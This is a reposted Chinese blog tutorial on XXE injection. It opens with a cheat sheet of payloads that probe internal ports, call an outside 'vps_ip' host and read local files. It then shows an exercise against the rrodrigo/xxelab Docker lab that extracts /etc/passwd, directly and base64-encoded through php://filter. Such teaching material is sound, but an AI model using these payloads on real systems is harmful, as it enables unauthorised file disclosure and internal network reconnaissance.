首页 > 系统服务 > 详细

利用xxe获取linux系统的passwd

时间:2019-10-28 23:57:15      阅读:174      评论:0      收藏:0      [点我收藏+]
引用外部DTD文件访问内网主机/端口。

<!DOCTYPE a SYSTEM "http://127.0.0.1:2333"> (看响应时间)

引用外部DTD文件访问wai网。

<!DOCTYPE a SYSTEM "http://vps_ip" >

引用内部实体。

<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>

外部实体读本地文件。

<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>

外部实体访问内wang主机端口。

<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看响应时间)

外部实体访问wai网。

<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>

docker中下载rrodrigo/xxelab该镜像

启动:docker run -d -p 8082:80 rrodrigo/xxelab

技术分享图片

抓取注册包,发现采用xml格式传递,且邮箱有返回:

技术分享图片

将返回内容处进行xxe回显设置读取/etc/passwd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "/etc/passwd">
]>

技术分享图片

利用base64编码进行xxe,防止有返回包验证

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>

技术分享图片
返回base64数据包,base64解码

技术分享图片

利用xxe获取linux系统的passwd

原文:https://blog.51cto.com/13963323/2446112

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!